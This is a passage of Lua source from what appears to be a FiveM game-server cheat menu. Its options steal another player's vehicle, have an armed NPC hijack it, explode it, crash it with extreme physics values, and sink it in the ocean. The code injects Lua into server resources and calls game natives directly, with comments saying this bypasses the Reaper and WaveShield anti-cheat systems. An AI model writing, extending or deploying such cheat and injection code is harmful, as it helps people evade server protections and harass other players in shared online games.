safeCall(NetworkStopSynchronisedScene, scene) while not safeCall(IsPedInVehicle, ped, pedvehicle, true) and (safeCall(GetGameTimer) - startTime) < 2000 do safeCall(Wait, 0) end safeCall(Wait, 1) safeCall(TaskLeaveAnyVehicle, safeCall(PlayerPedId)) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(SetEntityCollision, safeCall(PlayerPedId), true, true) safeCall(SetEntityInvincible, safeCall(PlayerPedId), false) safeCall(SetPedCanRagdoll, safeCall(PlayerPedId), true) safeCall(SetPedConfigFlag, safeCall(PlayerPedId), 32, false) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, safeCall(PlayerPedId), pedvehicle, -1) safeCall(Wait, 100) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 50) ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Stole " .. player.name .. "'s vehicle!", type = 'success'})) end break end end end }, { label = 'NPC Hijack Vehicle', type = 'scroll', selected = 1, canBind = true, bindName = 'NPC Hijack Vehicle', options = { {label = 'Method 1'}, {label = 'Method 2'} }, onConfirm = function(selectedOption) if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "No player selected for trolling!", type = 'warn'})) end return end for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if not DoesEntityExist(targetPed) then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Player ped not found: " .. player.name, type = 'error'})) end return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not targetVehicle or targetVehicle == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error'})) end return end if selectedOption.label == 'Method 1' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreatePed = _G.CreatePed or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local SetBlockingOfNonTemporaryEvents = _G.SetBlockingOfNonTemporaryEvents or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedFleeAttributes = _G.SetPedFleeAttributes or function(...) end local SetPedCombatAttributes = _G.SetPedCombatAttributes or function(...) end local SetPedCombatAbility = _G.SetPedCombatAbility or function(...) end local SetPedAccuracy = _G.SetPedAccuracy or function(...) end local SetPedCombatRange = _G.SetPedCombatRange or function(...) end local SetPedCombatMovement = _G.SetPedCombatMovement or function(...) end local SetPedRelationshipGroupHash = _G.SetPedRelationshipGroupHash or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end local TaskWarpPedIntoVehicle = _G.TaskWarpPedIntoVehicle or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local TaskVehicleDriveWander = _G.TaskVehicleDriveWander or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleEngineHealth = _G.SetVehicleEngineHealth or function(...) end local SetVehicleBodyHealth = _G.SetVehicleBodyHealth or function(...) end local SetVehiclePetrolTankHealth = _G.SetVehiclePetrolTankHealth or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end safeCall(CreateThread, function() local vehicle = safeCall(GetVehiclePedIsIn, safeCall(GetPlayerPed, %d), false) if vehicle and safeCall(DoesEntityExist, vehicle) then local playerCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local ped = safeCall(PlayerPedId) safeCall(TaskEnterVehicle, ped, vehicle, 1, -1, 2.0, 8, 0) safeCall(Wait, 100) safeCall(SetEntityCoords, ped, playerCoords.x, playerCoords.y, playerCoords.z, false, false, false, true) safeCall(ClearPedTasksImmediately, ped) safeCall(Wait, 200) local vehCoords = safeCall(GetEntityCoords, vehicle) local vehHeading = safeCall(GetEntityHeading, vehicle) local npcModel = safeCall(GetHashKey, 'a_m_m_skater_01') safeCall(RequestModel, npcModel) local timeout = 0 while not safeCall(HasModelLoaded, npcModel) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 1 end if safeCall(HasModelLoaded, npcModel) then local npc = safeCall(CreatePed, 4, npcModel, vehCoords.x + 1.0, vehCoords.y + 1.0, vehCoords.z, vehHeading, false, false) if npc and safeCall(DoesEntityExist, npc) then safeCall(SetEntityAsMissionEntity, npc, true, true) safeCall(SetModelAsNoLongerNeeded, npcModel) safeCall(SetBlockingOfNonTemporaryEvents, npc, true) safeCall(SetPedCanRagdoll, npc, false) safeCall(SetPedFleeAttributes, npc, 0, false) safeCall(SetPedCombatAttributes, npc, 46, true) safeCall(SetPedCombatAbility, npc, 100) safeCall(SetPedAccuracy, npc, 100) safeCall(SetPedCombatRange, npc, 2) safeCall(SetPedCombatMovement, npc, 2) safeCall(SetPedRelationshipGroupHash, npc, safeCall(GetHashKey, 'HATES_PLAYER')) local weaponHash = safeCall(GetHashKey, 'WEAPON_PISTOL') safeCall(GiveWeaponToPed, npc, weaponHash, 250, false, true) safeCall(SetCurrentPedWeapon, npc, weaponHash, true) safeCall(Wait, 100) safeCall(TaskWarpPedIntoVehicle, npc, vehicle, -1) safeCall(Wait, 200) if not safeCall(IsPedInVehicle, npc, vehicle, false) then safeCall(SetPedIntoVehicle, npc, vehicle, -1) safeCall(Wait, 200) end safeCall(TaskVehicleDriveWander, npc, vehicle, 50.0, 786603) safeCall(SetVehicleEngineOn, vehicle, true, true, false) safeCall(SetVehicleEngineHealth, vehicle, 1000.0) safeCall(SetVehicleBodyHealth, vehicle, 1000.0) safeCall(SetVehiclePetrolTankHealth, vehicle, 1000.0) _G.NexusHijackNPCs = _G.NexusHijackNPCs or {} table.insert(_G.NexusHijackNPCs, npc) end end end end) ]], player.localId)) elseif selectedOption.label == 'Method 2' then VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetVehicleModelNumberOfSeats = _G.GetVehicleModelNumberOfSeats or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local NetworkCreateSynchronisedScene = _G.NetworkCreateSynchronisedScene or function(...) end local NetworkAddPedToSynchronisedSceneWithIk = _G.NetworkAddPedToSynchronisedSceneWithIk or function(...) end local NetworkStartSynchronisedScene = _G.NetworkStartSynchronisedScene or function(...) end local NetworkStopSynchronisedScene = _G.NetworkStopSynchronisedScene or function(...) end local RequestAnimDict = _G.RequestAnimDict or function(...) end local HasAnimDictLoaded = _G.HasAnimDictLoaded or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local RequestModel = _G.RequestModel or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local CreatePed = _G.CreatePed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local SetBlockingOfNonTemporaryEvents = _G.SetBlockingOfNonTemporaryEvents or function(...) end local SetPedFleeAttributes = _G.SetPedFleeAttributes or function(...) end local SetPedCombatAttributes = _G.SetPedCombatAttributes or function(...) end local SetPedCombatAbility = _G.SetPedCombatAbility or function(...) end local SetPedAccuracy = _G.SetPedAccuracy or function(...) end local SetPedCombatRange = _G.SetPedCombatRange or function(...) end local SetPedCombatMovement = _G.SetPedCombatMovement or function(...) end local GiveWeaponToPed = _G.GiveWeaponToPed or function(...) end local GetCurrentPedWeaponEntityIndex = _G.GetCurrentPedWeaponEntityIndex or function(...) end local SetCurrentPedWeapon = _G.SetCurrentPedWeapon or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local TaskVehicleDriveWander = _G.TaskVehicleDriveWander or function(...) end local SetVehicleEngineOn = _G.SetVehicleEngineOn or function(...) end local SetVehicleEngineHealth = _G.SetVehicleEngineHealth or function(...) end local SetVehicleBodyHealth = _G.SetVehicleBodyHealth or function(...) end local SetVehiclePetrolTankHealth = _G.SetVehiclePetrolTankHealth or function(...) end local ped = safeCall(GetPlayerPed, %d) local pedvehicle = safeCall(GetVehiclePedIsIn, ped, false) local seat = -2 if pedvehicle ~= 0 then for i = -1, safeCall(GetVehicleModelNumberOfSeats, safeCall(GetEntityModel, pedvehicle)) - 2 do if safeCall(GetPedInVehicleSeat, pedvehicle, i) == ped then seat = i break end end end local lastCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local animDict = "anim@mp_player_intcelebrationfemale@uncle_disco" local animName = "uncle_disco" safeCall(RequestAnimDict, animDict) while not safeCall(HasAnimDictLoaded, animDict) do safeCall(Wait, 0) end local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local startTime = safeCall(GetGameTimer) local scene = safeCall(NetworkCreateSynchronisedScene, coords.x, coords.y, coords.z, 0.0, 0.0, heading, 2, true, false, 1065353216, 0, 1.3) safeCall(NetworkAddPedToSynchronisedSceneWithIk, ped, scene, animDict, animName, 2.0, -2.0, -1, 1, 0, false, 0) safeCall(NetworkStartSynchronisedScene, scene) safeCall(DeleteEntity, ped) safeCall(SetEntityVisible, safeCall(PlayerPedId), false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), true) safeCall(TaskEnterVehicle, safeCall(PlayerPedId), pedvehicle, 4, seat, 4.0, 8) safeCall(NetworkStopSynchronisedScene, scene) while not safeCall(IsPedInVehicle, ped, pedvehicle, true) and (safeCall(GetGameTimer) - startTime) < 2000 do safeCall(Wait, 0) end safeCall(Wait, 1) safeCall(TaskLeaveAnyVehicle, safeCall(PlayerPedId)) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(SetEntityCollision, safeCall(PlayerPedId), true, true) safeCall(SetEntityInvincible, safeCall(PlayerPedId), false) safeCall(SetPedCanRagdoll, safeCall(PlayerPedId), true) safeCall(SetPedConfigFlag, safeCall(PlayerPedId), 32, false) safeCall(Wait, 50) local syncCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x + 0.1, syncCoords.y + 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x - 0.1, syncCoords.y - 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(Wait, 200) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(Wait, 200) local vehCoords = safeCall(GetEntityCoords, pedvehicle) local vehHeading = safeCall(GetEntityHeading, pedvehicle) local npcModel = safeCall(GetHashKey, "a_m_m_skater_01") safeCall(RequestModel, npcModel) local timeout = 0 while not safeCall(HasModelLoaded, npcModel) and timeout < 500 do safeCall(Wait, 10) timeout = timeout + 1 end if safeCall(HasModelLoaded, npcModel) then local npc = safeCall(CreatePed, 4, npcModel, vehCoords.x + 2.0, vehCoords.y + 2.0, vehCoords.z, vehHeading, false, false) if npc and safeCall(DoesEntityExist, npc) then safeCall(SetEntityAsMissionEntity, npc, true, true) safeCall(SetModelAsNoLongerNeeded, npcModel) safeCall(SetEntityVisible, npc, false, false) safeCall(SetEntityInvincible, npc, true) safeCall(SetBlockingOfNonTemporaryEvents, npc, true) safeCall(SetPedCanRagdoll, npc, false) safeCall(SetPedFleeAttributes, npc, 0, false) safeCall(SetPedCombatAttributes, npc, 46, true) safeCall(SetPedCombatAbility, npc, 100) safeCall(SetPedAccuracy, npc, 100) safeCall(SetPedCombatRange, npc, 2) safeCall(SetPedCombatMovement, npc, 2) local weaponHash = safeCall(GetHashKey, "WEAPON_PISTOL") safeCall(GiveWeaponToPed, npc, weaponHash, 250, false, true) local weaponEntity = safeCall(GetCurrentPedWeaponEntityIndex, npc) if weaponEntity and safeCall(DoesEntityExist, weaponEntity) then safeCall(SetEntityAsMissionEntity, weaponEntity, true, true) end safeCall(SetCurrentPedWeapon, npc, weaponHash, true) safeCall(Wait, 100) safeCall(SetPedIntoVehicle, npc, pedvehicle, -1) safeCall(Wait, 200) safeCall(TaskVehicleDriveWander, npc, pedvehicle, 50.0, 786603) safeCall(SetVehicleEngineOn, pedvehicle, true) safeCall(SetVehicleEngineHealth, pedvehicle, 1000.0) safeCall(SetVehicleBodyHealth, pedvehicle, 1000.0) safeCall(SetVehiclePetrolTankHealth, pedvehicle, 1000.0) _G.NexusHijackNPCs = _G.NexusHijackNPCs or {} table.insert(_G.NexusHijackNPCs, npc) end end ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "NPC hijacked " .. player.name .. "'s vehicle!", type = 'success'})) end break end end end }, { label = 'Explode Vehicle', type = 'button', canBind = true, bindName = 'Explode Vehicle', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 then ---("Exploding vehicle for player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = GetPlayerPed(player.localId) if DoesEntityExist(ped) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local coords = GetEntityCoords(vehicle) AddExplosion(coords.x, coords.y, coords.z, 0, 1000.0, true, false, 1.0, false) SetVehicleEngineHealth(vehicle, -4000.0) SetVehicleBodyHealth(vehicle, 0.0) end end else -- Use Macho injection when WaveShield is not running local luaCode = string.format([[ local function explodeVehicle() local ped = GetPlayerPed(%d) if DoesEntityExist(ped) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local coords = GetEntityCoords(vehicle) AddExplosion(coords.x, coords.y, coords.z, 0, 1000.0, true, false, 1.0, false) SetVehicleEngineHealth(vehicle, -4000.0) SetVehicleBodyHealth(vehicle, 0.0) end end end Citizen.CreateThread(function() explodeVehicle() end) ]], player.localId) SafeInjectResourceRaw(InjectionResource(), luaCode) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Exploded " .. player.name .. "'s vehicle!", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Player ped not found: " .. player.name, type = 'error' })) end end break end end else ---("No player selected for exploding vehicle!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for trolling!", type = 'warn' })) end end end }, { label = 'Bug Player Car', type = 'button', canBind = true, bindName = 'Bug Player Car', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 then ---("Bugging car for player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("dasadsadsadsasdadsads") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local targetPed = GetPlayerPed(player.localId) local myPed = PlayerPedId() if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 and DoesEntityExist(targetVehicle) then local targetCoords = GetEntityCoords(targetVehicle) local originalCoords = GetEntityCoords(myPed) local originalHeading = GetEntityHeading(myPed) local bugVehicle = GetClosestVehicle(targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if bugVehicle and bugVehicle ~= 0 then -- First warp into driver seat, then request control after a delay SetPedIntoVehicle(myPed, bugVehicle, -1) Wait(1000) -- Request control after delay NetworkRequestControlOfEntity(bugVehicle) Wait(200) ClearPedTasks(myPed) SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) SetEntityHeading(myPed, originalHeading) Citizen.CreateThread(function() local startTime = GetGameTimer() local duration = 5000 while true do AttachEntityToEntityPhysically( bugVehicle, targetVehicle, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0 ) Wait(0) end end) end end end else -- Use Macho injection when WaveShield is not running local luaCode = string.format([[ local function bugPlayerCarWithNearbyVehicle() local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local CreateThread = _G.CreateThread or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local Wait = _G.Wait or function(...) end local NetworkHasControlOfEntity = _G.NetworkHasControlOfEntity or function(...) end local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local function RequestControlDirect(entity) if not safeCall(DoesEntityExist, entity) then return false end -- Check if we already have control if safeCall(NetworkHasControlOfEntity, entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not safeCall(NetworkHasControlOfEntity, entity) and attempts < 50 do safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) safeCall(Wait, 0) attempts = attempts + 1 end return safeCall(NetworkHasControlOfEntity, entity) end local targetPed = safeCall(GetPlayerPed, %d) local myPed = safeCall(PlayerPedId) if safeCall(DoesEntityExist, targetPed) then local targetVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if targetVehicle and targetVehicle ~= 0 and safeCall(DoesEntityExist, targetVehicle) then local targetCoords = safeCall(GetEntityCoords, targetVehicle) -- Store original position and heading local originalCoords = safeCall(GetEntityCoords, myPed) local originalHeading = safeCall(GetEntityHeading, myPed) -- Find closest vehicle using GetClosestVehicle local bugVehicle = safeCall(GetClosestVehicle, targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70) if not bugVehicle or bugVehicle == 0 then print("No vehicle nearby | Aborting.") return end -- First warp into driver seat, then request control after a delay safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 1000) -- Use direct native call to bypass Reaper detection RequestControlDirect(bugVehicle) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) -- Restore me to original location immediately after getting control safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) -- Now use the bug vehicle to attach to target vehicle safeCall(CreateThread, function() local startTime = safeCall(GetGameTimer) local duration = 5000 -- 5 seconds of bugging while true do safeCall(AttachEntityToEntityPhysically, bugVehicle, targetVehicle, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0 ) safeCall(Wait, 0) end print("Successfully bugged target vehicle!") end) print("Successfully bugged target vehicle using nearby vehicle!") else print("Target player is not in a vehicle!") end end end bugPlayerCarWithNearbyVehicle() ]], player.localId) SafeInjectResourceRaw(InjectionResource(), luaCode) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bugged " .. player.name .. "'s car using nearby vehicle!", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Player ped not found: " .. player.name, type = 'error' })) end end break end end else ---("No player selected for bugging car!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for trolling!", type = 'warn' })) end end end }, { label = 'TP Vehicle to Ocean', type = 'button', canBind = true, bindName = 'TP Vehicle to Ocean', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 then -- Ocean coordinates local oceanCoords = vector3(230.42, -5710.38, -88.72) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsasdasddasf") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local targetPed = GetPlayerPed(player.localId) local myPed = PlayerPedId() if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 and DoesEntityExist(targetVehicle) then local targetCoords = GetEntityCoords(targetVehicle) -- Spawn BF400 bike near target vehicle local bikeModel = GetHashKey("bf400") RequestModel(bikeModel) while not HasModelLoaded(bikeModel) do Wait(100) end local spawnCoords = targetCoords + vector3(2.0, 2.0, 0.0) local bugVehicle = CreateVehicle(bikeModel, spawnCoords.x, spawnCoords.y, spawnCoords.z, 0.0, true, false) if bugVehicle and bugVehicle ~= 0 then -- Make bike invincible and get control SetEntityInvincible(bugVehicle, true) SetEntityProofs(bugVehicle, true, true, true, true, true, true, true, true) NetworkRequestControlOfEntity(bugVehicle) local attempts = 0 while not NetworkHasControlOfEntity(bugVehicle) and attempts < 30 do Wait(100) attempts = attempts + 1 end -- Store original player position local originalCoords = GetEntityCoords(myPed) local originalHeading = GetEntityHeading(myPed) -- Teleport bike to player to sync (make it touch player) SetEntityCoords(bugVehicle, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) Wait(100) -- Put player in bike for 1 second to sync SetPedIntoVehicle(myPed, bugVehicle, -1) Wait(1000) ClearPedTasks(myPed) -- Restore player to original position SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) SetEntityHeading(myPed, originalHeading) -- Now teleport bike to ocean and freeze it there SetEntityCoords(bugVehicle, oceanCoords.x, oceanCoords.y, oceanCoords.z, false, false, false, true) FreezeEntityPosition(bugVehicle, true) Wait(200) -- Try to get control of target vehicle too NetworkRequestControlOfEntity(targetVehicle) -- Attach target vehicle to bike (reversed - target to bike) AttachEntityToEntity(targetVehicle, bugVehicle, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 0, true) -- Also try physical attachment Citizen.CreateThread(function() local forceApplied = false while true do if DoesEntityExist(bugVehicle) and DoesEntityExist(targetVehicle) then -- Keep bike frozen at ocean SetEntityCoords(bugVehicle, oceanCoords.x, oceanCoords.y, oceanCoords.z, false, false, false, true) FreezeEntityPosition(bugVehicle, true) -- Try both attachment methods AttachEntityToEntity(targetVehicle, bugVehicle, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 0, true) AttachEntityToEntityPhysically( targetVehicle, bugVehicle, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 999999999.0, false, false, false, false, 0 ) -- Apply force once to lock it if not forceApplied then ApplyForceToEntity(targetVehicle, 1, 0.0, 0.0, -50000.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) forceApplied = true end else break end Wait(0) end end) SetModelAsNoLongerNeeded(bikeModel) end end end else -- Use Macho injection when WaveShield is not running local luaCode = string.format([[ local function tpVehicleToOcean() local targetPed = GetPlayerPed(%d) local myPed = PlayerPedId() local oceanCoords = vector3(230.42, -5710.38, -88.72) if DoesEntityExist(targetPed) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle and targetVehicle ~= 0 and DoesEntityExist(targetVehicle) then local targetCoords = GetEntityCoords(targetVehicle) -- Spawn BF400 bike near target vehicle local bikeModel = GetHashKey("bf400") RequestModel(bikeModel) while not HasModelLoaded(bikeModel) do Wait(100) end local spawnCoords = targetCoords + vector3(2.0, 2.0, 0.0) local bugVehicle = CreateVehicle(bikeModel, spawnCoords.x, spawnCoords.y, spawnCoords.z, 0.0, true, false) if not bugVehicle or bugVehicle == 0 then print("Failed to spawn BF400 bike | Aborting.") SetModelAsNoLongerNeeded(bikeModel) return end -- Make bike invincible and get control SetEntityInvincible(bugVehicle, true) SetEntityProofs(bugVehicle, true, true, true, true, true, true, true, true) NetworkRequestControlOfEntity(bugVehicle) local attempts = 0 while not NetworkHasControlOfEntity(bugVehicle) and attempts < 30 do Wait(100) attempts = attempts + 1 end -- Store original player position local originalCoords = GetEntityCoords(myPed) local originalHeading = GetEntityHeading(myPed) -- Teleport bike to player to sync (make it touch player) SetEntityCoords(bugVehicle, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) Wait(100) -- Put player in bike for 1 second to sync SetPedIntoVehicle(myPed, bugVehicle, -1) Wait(1000) ClearPedTasks(myPed) -- Restore player to original position SetEntityCoords(myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) SetEntityHeading(myPed, originalHeading) -- Now teleport bike to ocean and freeze it there SetEntityCoords(bugVehicle, oceanCoords.x, oceanCoords.y, oceanCoords.z, false, false, false, true) FreezeEntityPosition(bugVehicle, true) Wait(200) -- Try to get control of target vehicle too NetworkRequestControlOfEntity(targetVehicle) -- Attach target vehicle to bike at ocean using same big number parameters CreateThread(function() while true do if DoesEntityExist(bugVehicle) and DoesEntityExist(targetVehicle) then -- Keep bike frozen at ocean SetEntityCoords(bugVehicle, oceanCoords.x, oceanCoords.y, oceanCoords.z, false, false, false, true) FreezeEntityPosition(bugVehicle, true) -- Attach target vehicle to bike at ocean with same big number parameters AttachEntityToEntityPhysically( targetVehicle, bugVehicle, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 